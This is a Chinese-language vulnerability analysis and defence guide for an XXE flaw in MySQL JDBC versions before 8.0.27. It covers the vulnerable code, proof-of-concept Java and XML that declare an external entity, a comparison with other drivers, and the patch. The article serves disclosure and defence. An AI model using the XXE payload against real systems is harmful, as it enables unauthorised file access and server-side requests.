MYSQL JDBC XXE漏洞分析
字数 1105 2025-08-03 16:47:09

MySQL JDBC XXE漏洞分析与防御指南

漏洞概述

MySQL JDBC驱动在8.0.27版本之前存在XXE(XML External Entity)漏洞,攻击者可通过构造恶意XML数据引入外部实体,导致XXE攻击。

影响版本:MySQL JDBC < 8.0.27

漏洞原理分析

漏洞位置

漏洞主要存在于MysqlSQLXML#getSource方法中,当处理DOMSource类型时,未对传入的XML数据进行安全校验。

关键代码分析

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
    // ...
    else if (clazz.equals(DOMSource.class)) {
        try {
            DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
            builderFactory.setNamespaceAware(true);
            DocumentBuilder builder = builderFactory.newDocumentBuilder();
            InputSource inputSource = null;
            if (this.fromResultSet) {
                inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
            } else {
                inputSource = new InputSource(new StringReader(this.stringRep));
            }
            return (T) new DOMSource(builder.parse(inputSource));
        }
        // ...
    }
    // ...
}

漏洞触发路径

  1. setString方法为stringRep属性赋值
  2. getSource方法中未对XML数据进行安全校验
  3. 直接调用builder.parse解析XML,导致XXE漏洞

漏洞利用场景

直接利用方式

String poc = "<?xml version=\"1.0\" ?>\n" +
        "<!DOCTYPE r [\n" +
        "<!ELEMENT r ANY >\n" +
        "<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
        "]>\n" +
        "<r>&sp;</r>";

Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root","xxxxx");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);

数据库存储利用方式

Connection connection = DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666", "root", "xxxxxxx");
String sql = "SELECT DataXML from config";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
rs.next();
SQLXML xml = rs.getSQLXML("DataXML");
DOMSource = xml.getSource(DOMSource.class);

其他数据库对比分析

SQL Server JDBC处理方式

  1. DOMSource处理:设置了安全特性防御XXE
factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
DocumentBuilder builder = factory.newDocumentBuilder();
builder.setEntityResolver(new SQLServerEntityResolver());
document = builder.parse(this.contents);
  1. SAXSource处理:未设置安全特性,但SQL Server本身限制DTD使用

Oracle JDBC

未找到对SQLXML的支持,因此不存在此漏洞

修复方案

MySQL JDBC 8.0.27版本中增加了安全防护措施:

DOMSource修复

DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities", false);
setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities", false);
setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
builderFactory.setXIncludeAware(false);
builderFactory.setExpandEntityReferences(false);
builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");

SAXSource修复

XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);

防御建议

  1. 升级MySQL JDBC驱动至8.0.27或更高版本
  2. 如果无法升级,可考虑以下措施:
    • 避免使用DOMSource处理不可信的XML数据
    • 对数据库中的XML数据进行严格校验
    • 使用SAX或StAX解析器替代DOM解析器

技术背景

SQLXML简介

SQLXML是Java中用于处理数据库XML数据的接口,提供多种形式访问XML值的方法:

  • getBinaryStream:以流的形式获取XML值
  • getCharacterStream:以Reader对象形式获取XML值
  • getString:返回XML值的字符串表示

XML解析方式对比

解析方式 特点 内存占用 是否适合大文件
DOM 整个文档加载到内存,形成树结构 不适合
SAX 基于事件驱动的流式解析 适合
StAX 基于流的拉式解析 适合

总结

MySQL JDBC XXE漏洞主要由于未对XML解析进行安全配置导致,影响8.0.27以下版本。修复方案包括升级驱动或实施严格的数据校验措施。理解不同XML解析方式的特点有助于选择更安全的处理方式。

MySQL JDBC XXE漏洞分析与防御指南 漏洞概述 MySQL JDBC驱动在8.0.27版本之前存在XXE(XML External Entity)漏洞,攻击者可通过构造恶意XML数据引入外部实体,导致XXE攻击。 影响版本 :MySQL JDBC < 8.0.27 漏洞原理分析 漏洞位置 漏洞主要存在于 MysqlSQLXML#getSource 方法中,当处理 DOMSource 类型时,未对传入的XML数据进行安全校验。 关键代码分析 漏洞触发路径 setString 方法为 stringRep 属性赋值 getSource 方法中未对XML数据进行安全校验 直接调用 builder.parse 解析XML,导致XXE漏洞 漏洞利用场景 直接利用方式 数据库存储利用方式 其他数据库对比分析 SQL Server JDBC处理方式 DOMSource处理 :设置了安全特性防御XXE SAXSource处理 :未设置安全特性,但SQL Server本身限制DTD使用 Oracle JDBC 未找到对SQLXML的支持,因此不存在此漏洞 修复方案 MySQL JDBC 8.0.27版本中增加了安全防护措施: DOMSource修复 SAXSource修复 防御建议 升级MySQL JDBC驱动至8.0.27或更高版本 如果无法升级,可考虑以下措施: 避免使用 DOMSource 处理不可信的XML数据 对数据库中的XML数据进行严格校验 使用SAX或StAX解析器替代DOM解析器 技术背景 SQLXML简介 SQLXML是Java中用于处理数据库XML数据的接口,提供多种形式访问XML值的方法: getBinaryStream :以流的形式获取XML值 getCharacterStream :以Reader对象形式获取XML值 getString :返回XML值的字符串表示 XML解析方式对比 | 解析方式 | 特点 | 内存占用 | 是否适合大文件 | |---------|------|---------|--------------| | DOM | 整个文档加载到内存,形成树结构 | 高 | 不适合 | | SAX | 基于事件驱动的流式解析 | 低 | 适合 | | StAX | 基于流的拉式解析 | 低 | 适合 | 总结 MySQL JDBC XXE漏洞主要由于未对XML解析进行安全配置导致,影响8.0.27以下版本。修复方案包括升级驱动或实施严格的数据校验措施。理解不同XML解析方式的特点有助于选择更安全的处理方式。